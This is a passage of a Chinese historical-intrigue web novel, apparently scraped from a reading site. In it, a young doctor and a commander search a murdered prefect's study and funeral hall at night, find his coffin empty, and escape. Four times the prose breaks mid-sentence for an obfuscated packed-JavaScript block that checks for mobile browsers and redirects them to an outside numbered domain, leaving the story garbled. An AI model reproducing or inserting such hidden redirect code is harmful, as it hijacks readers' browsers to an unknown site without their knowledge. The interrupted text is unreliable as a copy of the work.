陈湘行原先只想着可以借用他的令牌调动案卷,却没想到背后还有那么多错综复杂的事情,再加上薛珩说得情真意切,免不了犹豫了一下。
“薛大人,我能问问您来东平县要办的第二件事是什么吗?”
过了不知道多久,陈湘行抬眸炯炯有神地看向薛珩。
天渐渐暗下来,借着村庄内各户亮起的烛光薛珩才能勉强看清少女认真的表情,她似乎对这个问题格外的感兴趣。
“陈姑娘,人都有秘密,我没有问你的秘密,你又何必来问我的?”薛珩扯了下嘴角,话音一转,“当然,你若是真的想知道,告诉你也不是不可以……”
他的尾音拖长,最后轻声道:“只是这天下不管是谁,有所得必有所失。薛某倒也不是说非要让你失去点什么,只是陈姑娘白日里去了一趟周府,不知若是晚上再去,可还记得从此地到周府的路?”
绕了半天,最后还是绕不过周既明。
指条路罢了,对她而言也没有什么太大损失。
陈湘行点头:“薛大人沿着这条路出去向南走就能看到回春堂,周府就在离回春堂不远的地方,右转进一个巷子约莫几里地就到了。”
薛珩闻言却是摇了摇头:“陈姑娘,你没听懂我的意思。”
“我的意思是,夜深人静,孤男寡女……”
“你得给我带个路。”
他需要眼前的少女,帮他做一件事。
-
入夜后的周府看起来比白日里平白无故多了几分森冷,周既明的棺椁还放在灵堂内,不管是前院还是后院都挂满了白绸,风吹幡动,猎猎作响。
树影婆娑间,似乎还能看到打着旋飘落的纸钱,发出沙沙的碎响。
守夜的除却周府本身的下人外还多出了许多穿着甲胄的官兵,有几个困倦的直打哈欠,还有几个在一旁窃窃私语。
“老哥,你在兴武卫呆的时间最长,听说的东西也多,也就咱们兄弟几个在这儿,您说说这桩案子究竟是怎么回事?莫不是真像那些人说的一样,是悼献太子的冤魂前来索命了?”
有愣头青闲着无聊,推了推领着他们站岗的头儿。
“这世上哪有什么冤魂索命?”那人冷笑一声,“都十几年过去了,悼献太子的骨头估计都化成灰了,我看啊十之八九是指背后有人在搞鬼,到时候等案子查明白了,估计不管是这里也好还是金陵,弄不好都是一场腥风血雨,咱们等着看就是了。”
“那悼献太子不是都说是通敌叛国,意欲逼宫造反,最后兵败于登州自尽的么?怎么还有人说他是冤枉的?”
有人好奇道。
那头儿不知道想到了什么,突然就烦躁了许多:“问问问!哪那么多问题?!你们好好站在这就是了,眼睛给我放仔细点,别让什么乱七八糟的人偷摸溜进去!”
他一发飙,那些原本还窸窸窣窣讲着小话的兴武卫都安静了下来,每个人都眼观鼻鼻观心地站在原地,生怕自己撞到枪口上。
待这一队巡逻的兴武卫走过去后已经到了夜半,陈湘行蹲的脚都酸了,她转头看向薛珩,只见他若有所思地看着前面人影越来越小的兴武卫。
“怎么了?”陈湘行压低声音问道。
薛珩回头第一眼看见的就是她那张因为刚刚钻洞变得灰扑扑的脸,只剩下一双猫眼水光微润地看着他,透出几分好奇。
“刚刚领头的那个叫余信厚,是兴武卫里的老人了,也是乐成侯手下的心腹之一,我从前见过他几次,也算是和他打过些交道。”
薛珩站直身:“此人身上功夫一般,脑子比较活络,乐成侯干出来那些破事儿应该不少都有他的功劳。”
“你和乐成侯有仇?”
虽然知道现在不是好奇的时间,但陈湘行还是忍不住多问了一嘴。
听他的口气,似乎对这位乐成侯很是不满。
“血海深仇。”
薛珩淡淡道。
他似乎并不愿意多说,等前面兴武卫的身影消失过后就带着陈湘行绕过巡逻的家丁接近了前院。
前面的院落要比后院更宽阔一些,尤其是周既明的书房——也就是案发现场,如今更是荒无人烟,门上还上着锁。
这地方本来应该会有几个人在这儿一直守着才是,只是周嘉言这段时间因为身体不舒服的缘故疏于管家,所以那些本该在这守着的家丁趁此机会全都跑去下人房里赌钱去了。
陈湘行跟着薛珩一路摸到这里的时候依稀还能听见骰子和铜钱的声音从后面传来。
“这种地方竟然没有兴武卫把守……”
陈湘行忍不住嘟囔了一声。
“周既明死就死在这里,又是书房这样重要的地方,估计兴武卫那些人早就已经把这里上上下下都查了不
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15668090|173016||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
知道多少遍了,但凡能查出来的东西估计都带走封存了,里面估计就剩个空壳。”
薛珩摸上门锁,手指在下面捣鼓了一会儿,没两下锁就开了。
这种本事若是没有当成锦衣卫指挥使,去当个妙手空空恐怕也不错。
陈湘行忍不住感慨了一声:“都是空壳了,你还过来看什么?”
“兴武卫那些人主要还是负责护卫,查案这方面的东西本就也不是他们的强项。”
薛珩轻轻将门打开,屋子里面已经没有血腥气,桌案上没有一点和笔墨纸张有关系的东西,正如他所说的那样,早就被全部拿走了。
“我就不一样了,十一二岁的时候就被压着一直在诏狱那地方混,什么样藏东西的手段我没见过。”
他挑眉朝着陈湘行露出一个有些得意的笑容:“那群蠢货猜不到的事情,不代表我猜不到。”
陈湘行没搭理他,挪开目光看了一圈周既明的书房,他书架上的东西包括墙上挂着的画卷都没有被那些人拿走,只是大都被翻得乱七八糟了。
饶是如此,单看留下来的几幅大字,也能猜到他生前是个颇有意气的文人。
桌案的正上方挂着一卷墨宝,没有落款也没有印泥,只留着“既明且哲,以保其身,夙夜匪懈,以事一人”这句话。
地上还散着许多周既明生前写过注解的书籍。
咦?
她正准备蹲下身去拿地上的书,外面突然传来几个人的脚步声。
“奇了怪了,走的时候门栓明明是关上的,怎么这会儿又是开了的?”
门外传来家丁疑惑的声音,他似乎回头又问了好几个同伴,最后皱着眉捡起地上的门栓:“你们刚刚有人回来过了?”
“哪里有人回来,咱们玩骰子都玩到现在了,除了老许中间撒了一泡尿,还有谁从屋里头出去过?”
“你自己没关好吧?总不见得是有人进去了。”
“谁这么不长眼往书房里钻?老爷头七都没过,小心遇上回魂,到时候别丢了小命......”
门外的人似乎想进来看看,有人劝那家丁把门关上就赶紧回去睡,还有人撺掇他进屋子里找找是不是真有人偷偷溜进来了,到时候万一出点什么事情他们这些做下人的肯定担不起这个责任。
陈湘行的心顿时提到了嗓子眼,她下意识地往后退了好几步。
幽静的夜里一点点风吹草动都会变得格外明显,门外的人显然是听到了里边的动静想要进来看看,眼见门马上就要被打开了,一只带着薄茧的手瞬间捂上她的嘴,惊得陈湘行下意识地呜咽了两声,反应过来后她连忙压住自己的声音,另一只手则箍着她往后走了不知道多少步。
轻柔的纱幔将两人几乎完全笼罩了起来,伸手不见五指的漆黑中陈湘行只能感受到后颈处传来时重时轻的温热鼻息,以及他那双让人感觉越来越烫的手。
门被推开的一瞬间,他的拇指似乎无意识地摩挲了下她下颌的软肉,旋即顿住了。
8. 灵堂
夜风呜咽着从敞开的门缝钻入,烛火在灯笼里摇曳,家丁佝偻着身子犹豫地迈入屋内,风吹在他的脊背上微微有些发凉。
“奇了怪了,也没有人啊。”
他正欲再往前探两步,却见蒙着一层薄灰的铜镜中找出自己背后的纱幔,那帐子随风飘晃,半遮半掩间竟露出一个歪七扭八的影子,犹似鬼魅!
“鬼啊!!!”
灯笼脱手的瞬间家丁几乎是手脚并用地爬出院子,险些被脚下的门槛绊倒,但强烈的求生欲还是促使他忍着脚上的疼痛一直跑到前院亮灯的下人房。
直到有人被他的大喊大叫吵醒后从里面出来,他才气喘吁吁地倚靠在栏杆旁,冷汗顺着还有些抽搐的面部缓缓流下。
“大半夜的在这边鬼哭狼嚎些什么呢?!还叫不让人睡觉了!”那人骂骂咧咧地走到家丁面前,声音一下子顿住了。
他活脱脱一副见了鬼的样子,到现在还浑身打着颤抖。
“书房……有鬼!”家丁猛地拉住他裤脚管有些崩溃地嚎啕,“我看见了!我亲眼看见了!那么大一个鬼影就躲在帘子后面,就像一个人锁着另一个人的喉咙一般!是悼献太子和老爷的鬼魂!一定是的!他真的来索命了!”
夜半的风在此刻吹得人手臂上浮起一层鸡皮疙瘩。
“世上哪里来那么多魑魅魍魉,与其说是你撞鬼了,我看不如说是有人在捣鬼。”
下人房这边闹出来的动静被巡视到此的余信厚听到了,他连忙招呼了几个兴武卫让他们带上手里的家伙跟着他往书房的方向走。
他才不信这世界上真有什么冤魂索命,若是真有,这世上那么多人早就应该在十五年前一起下地狱了。
一群人浩浩荡荡地走到周既明书房的所在地,只见门栓落在地上,窗户是打开的,余信厚绕到窗户边上蹲下身借着灯笼看了一眼地上被踩的杂乱无章的草丛,心里已经有数了。
他转头招来一个兴武卫问道:“先前派出去截杀薛珩那小子的二十号人,到现在都还没回来吗?”
那兴武卫摇摇头:“从咱们接到消息就派人手出去了,十几日前那边还传来消息说薛珩进了登州地界,他们预备在水路上将人解决了,到时候报上去就说是水匪闹事。”
“后来一点消息都没了?”
兴武卫点点头。
余信厚冷哼一声:“都是一群酒囊饭袋!”
想当初他们能进兴武卫,那可是实打实靠着军功一路升上来的。
如今这些跟着他出来的基本上都是有些家底的富户子弟,不过是借着兴武卫的名头去搏一个晋升之路,反正也呆不长久,手上功夫算得上是一点都没有。
这样的人,哪里能拦得住薛珩这个从小就混迹在诏狱的怪物?
乐成侯真是越老越糊涂。
“去,把周府的各个门全部给我守上,我就不信这么短的时间,他还能跑了不成?”
原本寂静的周府在一瞬间各处都亮起了灯笼,吵吵嚷嚷的连带着在后院的周嘉言都从梦中惊醒。
她穿着单薄的里衣下床推开窗,可以看见院子外面来来往往提着灯笼的兴武卫。
“微月,出什么事了?”
微月端着润喉的雪梨羹走进来放在案边:“听说是书房那边的闹鬼,余大人带着那些兴武卫在到处抓人,说可能是害死老爷的贼人想来销毁赃物,假托鬼神之言罢了。”
周嘉言垂眸抿了一口梨汤:“销毁赃物的人究竟是谁……好一出贼喊捉贼的好戏。”
微月有些担忧的看着她:“姑娘,他们这么吵吵嚷嚷,可是打扰到你休憩了?要不奴婢去把他们赶走?”
“扰人清梦的可不是他们。”
周嘉言披上缟色的外袍,沐浴着倾泻而下的月光打开闺房后侧小阁楼的门,一眼望去是多个绣棚上未完成的绢画。
“不知阁下何人,竟敢擅自闯进官家女眷的院落。”
微月一惊,正欲搬起手边的绣棚往前砸去,却见一张熟悉的面容从前方双面绣的屏风后探出来。
不是今日早上给姑娘诊脉的陈大夫又是谁!
“陈大夫倒是好兴致,深更半夜来我平日里做绣活的地方,是想借此机会和我探讨探讨女红么?”
周嘉言摁下微月蠢蠢欲动的手,微笑看向陈湘行。
陈湘行心里骂了薛珩这个把自己撂在这儿的家伙一万遍,最后还是只能勉强扬起笑容,装作没听到刚刚周嘉言说的那句话打了个哈哈:“嘉言姑娘怎么知道我在这儿?”
“家父去世之后,我整夜整夜的睡不好,总是担惊受怕的,就干脆在院内屋中各个角落都装上了惊雀铃。每逢晚上的时候,若是没有照光的东西照在地上,不熟悉我院子的人很容易踩到地面上的丝线,连带着惊雀铃会发出声响。”
周嘉言温和道:“兴武卫在外面的声响虽大,可绣阁就在我屋子后面不远的地方,有一点风吹草动我都能听得见。”
陈湘行看着她还是那幅温婉的模样,竟然不知道该说些什么。
刚刚薛珩带着她从周老爷的书房里出来的时候也破天荒的没有和她多掰扯两句,只是把她丢在这里让她想办法等一下去灵堂找他。
他则负责去引开正在到处找他们的兴武卫。
却没想到陈湘行在这儿躲得好好的,结果被周嘉言发现了。
真是太该死了这个家伙!
“嘉言姑娘,此事说来话长。”
陈湘行想到先前微月塞给她的那张纸,心中又定了定。
不管周嘉言白日里和她说那一番话是什么意思,至少她对她的态度肯定和那群正在搜查的兴武卫不同,或许借助她的身份,可以让她更快到灵堂和薛珩会合。
“长话短说也未必不可,更何况漫漫长夜有的是时间给我们俩说点什么。”周嘉言狡黠一笑,“毕竟外面兴武卫来来往往,你现在就算是想出去也出不去吧?”
话虽如此,但陈湘行还是保持了缄默。
最后还是周嘉言开口打破了一室宁静:“昔年太傅罗慎和之子罗
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15668091|173016||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
存照协助悼献太子起兵谋反,罗家满门抄斩,同年春末,现户部尚书陈振邦纳入一门妾室,于冬日生下一女,却因为命格有碍被送到登州田庄。”
陈湘行的手死死地攥住了自己的裙角,心中却翻起了惊涛骇浪。
她居然知道!
可是她是怎么知道的?
陈老儿虽然不是个东西,但是办起事来还是很牢靠的,至少这么多年来她和罗氏在登州生活这么久也没有被任何人发现过身份有疑。
周嘉言一个长居闺阁的女孩,定然不会是自己发现这件事的,毕竟当初悼献太子谋反案让金陵城中血流成河的时候,她也不过四五岁的年纪罢了。
除非……知道这件事的是死去的周既明。
哪怕心中想的再多,陈湘行的面上仍旧看不出心底的慌乱,她勉强露出笑容:“我不知道周姑娘在说什么。”
周嘉言看了她半晌最后摇了摇头:“我知道你现在还信不过我,人之常情罢了。”
“你半夜来此定然也有你的缘由,有什么是我可以帮你的吗?”
-
兴武卫在周府可以算得上是转了一圈又一圈,就算是铁打的人都有些熬不住了,好几个站在那边哈欠连天。
余信厚皱着眉头站在周既明的灵堂前,正欲推门而入,却听见身后传来少女清亮的声音:“余大人,就算你是为了查案也不好贸然打扰家父安宁吧?”
周嘉言款款走来,宽大的衣袍在风的吹荡下更显的她弱不胜衣,鬓边只簪着一朵白色的绒花。
她的身后跟着两个梳着双丫髻,穿着统一青衫白裙的丫头,手里各提着一个素纱灯笼,泛着昏沉的淡黄。
“周姑娘,怎么在这个时辰来了?”余信厚眯起眼睛有些狐疑的看着她。
周嘉言一步步靠近灵堂门口,堂前的白幡被吹得哗哗作响:“刚好小女梦到了家父生前的音容笑貌,便想着来自给他上两柱香,敢问余大人,小女可有错处?”
大明以孝治天下,只要他余信厚还想在官场上混下去此刻就不能说一句错话。他只好勉强笑了下:“那周姑娘先进去吧,走,咱们再去别处搜搜!”
话音刚落他就带着兴武卫浩浩荡荡地离开了灵堂前,待他们的脚步声逐渐远去后周嘉言才缓步走入,风声呜咽,跟在她身后的丫头轻声道:“多谢嘉言姑娘。”
穿堂风吹动白幡簌簌,月光将三人的影子拖拽成长条映在地面上,棺椁安放在正中央,泛着冰冷的乌泽。灵牌上“家父周氏既明之位”在烛火下显得格外瞩目,恍若一场无声的哀悼。
薛珩穿着那身黑红的劲装,在灵堂内显得格外瞩目。
他手中的剑早已出鞘,剑身亮着寒芒。
一时间众人面面相觑,陈湘行也是不曾想到这人竟然堂而皇之的就站在棺材前面,一点也不避讳。
“你……”
陈湘行刚张开嘴,原本寂静的灵堂外突然冒出窸窣的声响,她透过半开的窗向外看去,余信厚竟领着一大群兴武卫去而复返了!
9. 天光
深更半夜突然梦到亡父这件事情怎么想着透着一股诡异,更不要说这位周姑娘自从他们来此查案之后就一直对他不假辞色,今日却破天荒地和他解释了这么多,余信厚怎么想都觉得其中有鬼。
他刚从这边走出去不过几里地,想了想还是回头带着手下的人重新冲到灵堂前。
“唰”得一声门就被打开了,风声中夹带着呜咽声闯入灵堂。
烛火幽幽下,唯见青烟缠绕着供桌上摆放的牌位。供桌上的香烛在他们推门而入的刹那忽地爆了个灯花,惊得白幡摇晃,将牌位上的金漆映得若隐若现。
周嘉言手持三炷香跪坐于蒲团上,身后的两个丫环低眉顺眼地捧着香盘。
身后开门的异动让她缓缓放下线香,转身站起后冰着一张脸看向余信厚:“余大人这是何意?”
“我爹尸骨未寒,你们就要大闹他的灵堂么?”
余信厚踱步到周嘉言面前,环顾了一圈灵堂,目光最后落到那块尚且崭新的牌位上,似乎没听见周嘉言的话语一般淡淡道:“周姑娘,得罪了。来人,给我搜!”
他的话音刚落,兴武卫就将灵堂团团围住。
“我看谁敢!”
周嘉言喝了一声,她那张温婉的面容在此刻冷若霜雪,苍白的脸颊浮起薄红:“今日谁敢动这灵堂一砖一瓦,我便让他为我爹陪葬!”
说罢她手一翻,不知道从哪里摸出一把美人刺直直朝向余信厚的喉间,刃锋还泛着寒芒,在木板上投下一道凌厉的影子。
美人刺顿在余信厚的喉前三寸处,再进一步就要见血了。
“大人!”
余信厚身后的兴武卫惊呼出声,数十把刀齐齐被拔出鞘,雪亮刀光将灵堂照得森然。
“周姑娘好胆量,只是若令尊还在,看到你持械妄图谋害朝廷命官,不知道会是什么样的反应?”
余信厚冷笑一声,并不把刚刚周嘉言说的话放在眼里,反而迎着美人刺向前走动了一小步。
一时间,灵堂内剑拔弩张。
陈湘行垂眸站在周嘉言身后,双手有些不安地攥着裙摆,目光似有若无地瞟向那座放在正中央的棺椁,棺盖边缘有一条几不可见的缝隙。
不能让余信厚他们在这里停留太久。
想到这里陈湘行眼眸一转,装作似乎被这场景突然吓到了一般,踉跄着往后倒去,结果却恰好撞翻了后面的烛火,火光顺着洒在白幡上的灯油窜起将近几尺高!
霎时间火光冲天。
“!”
周既明的灵堂出于种种原因他们还未来得及细查,若是叫着丫头一把火正好将乐成侯叫他前来查的东西烧了,那可就糟了!
余信厚几乎想都没想就大喊道:“先救火!”
一片混乱中陈湘行借着前方周嘉言和微月的遮挡猛地推开棺盖一角,只见躺在空棺里面的薛珩手中攥着几枚铜钱,趁着无人注意连忙掷出,灵堂内的烛火一下子被灭了个干净,只剩下燃着火的白幡。
那点微弱的光,压根叫人看不清灵堂内的场景,连人也只能勉强看清轮廓。
“快走!”
周嘉言推了一把陈湘行,急促地喘了两下后将声音压到最低:“我的绣阁下面有暗道。”
微月猛地将供桌掀翻,屋子里噼里啪啦的声音乱成一团,叫人都听不清具体是哪个方位传来的声响。
陈湘行脑子里还是一团乱麻,但是眼下的情况却容不得她去想那么多,一片漆黑中她的手腕蓦地被扣住,还不等她反应过来就被猛地一拽。
“抱着我。”
陈湘行怀疑自己的耳朵出了问题:“什么?!”
“啧。”
那人似乎极不耐烦地叹了口气,旋即他拿出一只手紧紧环住陈湘行的腰,另一只手推开灵堂后面的窗棂,纵身跳出。
夜风携着雨丝灌进来,带着盛夏的闷热。
陈湘行本能地攥紧他的前襟,在这一刻,任凭外面有多吵,她都能听到自己如鼓鸣般的心跳声。
太近了。
她闻到了薛珩身上那股浓郁的苏合香。
不知道过了多久,月光倾泻而下落在她的脸颊旁,从薛珩的角度望过去,只能看到她那双水润润却有些呆怔的双眸,似乎还没反应过来刚刚发生了什么。
“陈姑娘,你还打算在我身上赖到什么时候?”薛珩忍不住就起了坏心眼,有些揶揄道。
陈湘行一瞬间只觉得不管是脖子还是耳朵都烧得她难受,索性用有些凉的双手疯狂揉搓了一顿自己的脖子和脸,等热意散得差不多才平静下来。
她扯了扯嘴角:“抱歉。”
明明是不带任何语气的道歉,听在薛珩耳朵里却莫名其妙多出了一点不舒服,但他又不知道究竟不舒服在哪,只能有些烦躁道:“行了,这有什么好抱歉的,你真是……绣阁在哪?我们先出去再说。”
陈湘行想不通为什么眼前这位大爷又突然开始心情不爽起来,只能哀叹自己倒霉,最后还是硬着头皮想了大半天,终于想起来周嘉言闺房后面的绣阁该往哪儿走。
等他们从暗道里出来的时候,外面的天已经有些蒙蒙亮了。月亮还没有完全落下去,太阳却已经出现在了天空的另一端。
陈湘行毫无姿态的盘腿坐在地上,也不管雨后的泥泞有没有把她的裙子粘得一塌糊涂,只觉得自己终于逃出了生天。
太累了。
这一晚上的惊心动魄让她觉得仿佛过了快一辈子。
好困。
或许是骤然放松的缘故,她在脑袋一下子就开始昏昏沉沉起来。陈湘行眯着眼睛看向薛珩的方向,只见他静静地望着远方,不知道具体在看哪里。
刚刚周既明的棺椁里,是空的。
当时周嘉言当机立断掀开棺盖的模样,明显就知道那个棺椁里面是空的。
既然如此,周既明的尸身到底去哪儿了就成了一个未解之谜。
自从周既明亡故以来,周府一直都有兴武卫重重把守,能在他们这群人的眼皮子底下把尸身运送出去,单靠周嘉言一个人是肯定做不到的。
她必然另有帮手。
薛珩在心里叹了口气,圣上在送他出金陵之时就已说过此番前来登州遇到麻烦事不
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15668092|173016||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
会小,只是他没想到这第一件事就打了他一个措手不及。
本来带着这位陈姑娘是为了让她查探一下周既明尸身的具体情况,只是没想到他们连周既明的尸身都没见到,可以说确实是白跑了一趟。
而这位陈姑娘……身上也有着重重疑点,叫人看不真切。
想到这里他收回望向周府的目光,转身后却怔了一下。
只见少女仰着那张巴掌大的脸蛋好奇地看着他,眸中倒映出还没有完全散去的月光,这样看起来还带着些稚气。
“怎么了?”薛珩挑眉走到陈湘行面前,“被吓到了?”
陈湘行摇摇头,薛珩居然还从她的双眸中看出点天不怕地不怕的兴奋。
该说不说,不愧是只有十四五岁的小丫头,确实初生牛犊不怕虎。
“薛指挥使,我能问你件事儿吗?”陈湘行故作乖巧道。
薛珩瞥了她一眼,见他没有马上拒绝,陈湘行再接再厉道:“你今日为什么要让我到灵堂找你?”
“周既明的验尸状纸上写得太少了,很多地方都囫囵过去,写都没写明白,生怕别人发现他到底是怎么死的。”
薛珩朝着陈湘行招招手示意她跟上,虽说他今日原本的打算没成功,但至少通过兴武卫和周嘉言的反应得到了更多的消息,所以心情还不算差,有空提点眼前这丫头两句。
“你不是学医的吗?我原本是打算让你去给周既明验尸看看,倒也没想到他的棺椁里是空的。”
陈湘行有些呆滞地看着青年一张一合的嘴,第一次怀疑自己的耳朵出了问题。
学医?验尸?这两个东西是怎么能混为一谈的?
想到这里她忍不住开口打断道:“薛指挥使,我们学医的是不给人验尸的,验尸的人叫仵作。”
虽然不知道他为何会有这种错误的认知,但陈湘行还是忍不住纠正道:“我们行医面对的人是活的,活的!”
她忍不住强调了好几遍。
薛珩一下子愣住了。
两人面面相觑,陈湘行一想到她今夜能遇到这么刺激惊险的事情,全是因为眼前这人的认知错误就忍不住差点笑出了声。
她的肩膀耸动得厉害,眉眼弯弯,止不住的笑音从嘴巴里溢了出来。
“哈哈哈哈哈。”她忍俊不禁地看着薛珩,突然觉得他没有那么吓人了,“薛指挥使,你从前在金陵的时候不会也是在路边随便抓大夫过去给死人验尸吧?”
薛珩居然还认真地思考了一下:“那倒也没有,诏狱有专门负责验尸的人,只是我这次出来的时候没有把他们带上,我想着都是学和人相关的知识,应该也大差不差。”
倒是没想到会惹出这么一桩乌龙。
他也没忍住弯了眉眼,觉得有些好笑。
“呼——”陈湘行长舒一口气,她抬头看向天边渐渐升起的日光,“天亮了。”
薛珩跟着抬头看向那抹曦光,刺眼的光穿透云层打在路边,天光乍亮。
“是啊,天总会亮的。”
只是不知道要等到什么时候,他们才能窥见那一抹天光。
10. 闹事
回到田庄后陈湘行已经筋疲力尽了,她几乎是看着蒙蒙亮的天半眯着眼睛就睡着了,等到醒来的时候早已日头高悬。
她伸手抹了一把脖子里面粘腻的汗水,忍不住哀叹了一声,随后几乎是从床榻上跳起来一般跑出房门,院子中央是在小田畦前给果蔬浇水的尤姑姑。
“南歌今日来找我了吗?”
她探头向外面看去,这么多年来她去回春堂少有睡过头的时候,就算偶尔迟些徐南歌也会在院子外面等她一起去镇上。
今日她却没有见到那支杜鹃。
尤姑姑犹豫片刻:“早上的时候徐夫子他们院子那就传来吵吵嚷嚷的声音,似乎是他哪个学生的娘找了上门去了,说徐夫子教唆学生学坏,枉为人师。”
“徐姑娘家里都是体面人,按照她的性子应当留在家里帮衬她爹娘了。”
徐夫子儒雅温和,孟夫人温婉贤淑,两个人在榴山村呆这么久都未曾和乡里乡亲红过脸,若是真遇上那种泼皮无赖,基本上也是忍让忍让就过去了。
直到徐南歌出生后,她竟然不知怎地生的一副火爆脾气,虽说也是一样受着徐夫子那些君子之道教育出来的孩子,但不管是骂起人还是打起架都毫不嘴软手软。
孟夫人从前似乎是官家女出身,偶尔还会在陈湘行面前哀叹徐南歌的性子,说她还好是在榴山村这样的小地方,不容易受人指摘,否则要是面见那些正儿八经的名门闺秀,怕是吐沫星子都要把她淹死了。
陈湘行却觉得她这样的性子极好,不管身在何处都不会让自己吃亏。
如此便是最好了。
“回春堂那边我让泽兰替你告了假。”尤姑姑点了下陈湘行的额头,朝着薛珩睡的屋子努了努嘴小声问道,“昨日你和那位……半夜去哪了?”
她的表情显然有些忧心。
尤姑姑自少时起就跟在罗氏身边,罗家好歹也算得上清流世家,虽说是湘楚之地民风开放,可也没有哪个正经姑娘家会和男人夜不归宿。
她昨日见到陈湘行和薛珩双双失踪的时候都要疯了,又不知道他们的去向,只能提心吊胆了一夜,好在最后没出什么事。
陈湘行不知道尤姑姑对昔年悼献太子一案了解多少,只能压低声音小心跟她讲了些这两日大概,却没想到在她听到微月递给她的纸团中的名字时愣住了。
“姑姑?”陈湘行疑惑道。
尤姑姑几乎是下意识地攥住她的手:“周知府……是周既明?”
因为罗氏的缘故,这么多年来她们基本上都是避着官府走的,而且又长居榴山村,经常接触的官也就是一些小吏,是以她并不知道原来这两日吵得沸沸扬扬的周知府被杀一案中的周知府,竟然是周既明!
“若不是因为他,姑娘就不会沦落到如此境地,隐哥儿也不会远走他乡至今没有音讯!”尤姑姑冷笑连连,“姐儿可别觉得这周姑娘是什么好人,她爹从前是悼献太子的伴读,可结果后来居然帮着乐成侯诬蔑悼献太子谋反,导致整个金陵城内血流成河!”
“哼,人在做天在看!当时他可是乐成侯一手提拔上去的,可以算得上是风光无限,没想到啊,如今居然只在这么一个荒远偏僻的地方做个小小的知府……真是活该!”尤姑姑啐了一口,“谁生的像谁,谁知道这周姑娘会不会也是披着温良的皮,做出些人面兽心的事!”
陈湘行从前也没有在尤姑姑嘴巴里面听到这些陈年旧事,难免一时间怔住了。
但是她又想到昨日晚上周嘉言说的话和做的事,又觉得她对自己确实没有什么恶意,只好期期艾艾道:“那也不一定嘛……”
尤姑姑眉头微蹙正欲再言,却见薛珩正好从屋子里面出来,便噤了声。
湘丫头说的那三个名字,分明就是从前在悼献太子身边的三个伴读。
周既明身亡,隐哥儿奔走他乡,徐盈……尤姑姑下意识地看向静坐绣墩,笑盈盈望着枝头嬉戏的雀儿的罗氏,喉间一哽,忍不住叹了口气。
昔日风流少年,如花美眷,如今终是故人零落,音容两渺。
屋子的另一头,薛珩从里间踱出来时还带着几分未散的睡意。他拈了块尤姑姑放在外面的糕点含在嘴里,漫不经心地朝陈湘行招了招手。
嘴巴鼓鼓囊囊的,像只无害的兔子。
似乎一晚上过去后,二人的关系发生了一种微妙的变化。
那种针锋相对的紧绷感渐渐消散,取而代之的是一种奇异的心照不宣。
陈湘行定睛一看,薛珩手中晃荡着的书赫然是昨日她盯着看了许久,掉在周既明书房地面上被他写过注解的那一本,书页翻动时都能看清上面有些旧了的墨迹。
“你居然把它带出来了!”
陈湘行近乎有些惊喜地朝前跑了两步,正欲去拿他手上举着的书,可薛珩手腕一翻,书似游鱼一般就从她的指尖溜走了。
他倚着廊柱拍了拍书的封面,午后的阳光似乎在他睫毛上投下细碎的金屑,随意地翻看两页后他抬眸看向陈湘行:“昨日就看见你一直盯着它瞧……看出了什么?”
陈湘行顿了一下,抿唇小声道:“周既明挂在墙上那幅字显而易见是颜体,但这本一看就是被他经常埋在手里把玩的书籍上的注解,笔画间却带些勾连,显然是写惯了赵体的人模仿他的字迹写出来的。”
这是她在周府发现的第一个可疑之处。
薛珩的目光顺着纸张游走,一眼就能看出前几页的模仿痕迹,可越往后翻阅,那些刻意为之的勾连就越发收敛。
到最后几页时,已然是纯正的颜体。
“倒是小瞧你了。”他挑眉看了眼陈湘行:“你对楷书还有研究?”
若不是常年专门钻研楷书的人,恐怕也不会匆匆几眼就能分辨出欧颜柳赵楷书四大家的风格迥异之处。
陈湘行谦虚道:“学过一点。”
看她这样子就知道学过不止一点。
薛珩哼笑一声,反手将书籍塞入怀中:“还挺厉害。”
随后他好整以暇道:“只是陈姑娘,我查周府是因为圣命在身,那你对周知府这么上心……却是为了什么?他可和你没有一点关系吧?”
“还是说……”薛珩缓缓凑近陈湘行,望着她那张抿着嘴故作沉默的脸忍不住笑了一声,“陈姑娘你想替我分忧?”
他的指尖不由自主勾起陈湘行鬓边一缕随风飘拂的发丝,随即顿了一下。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 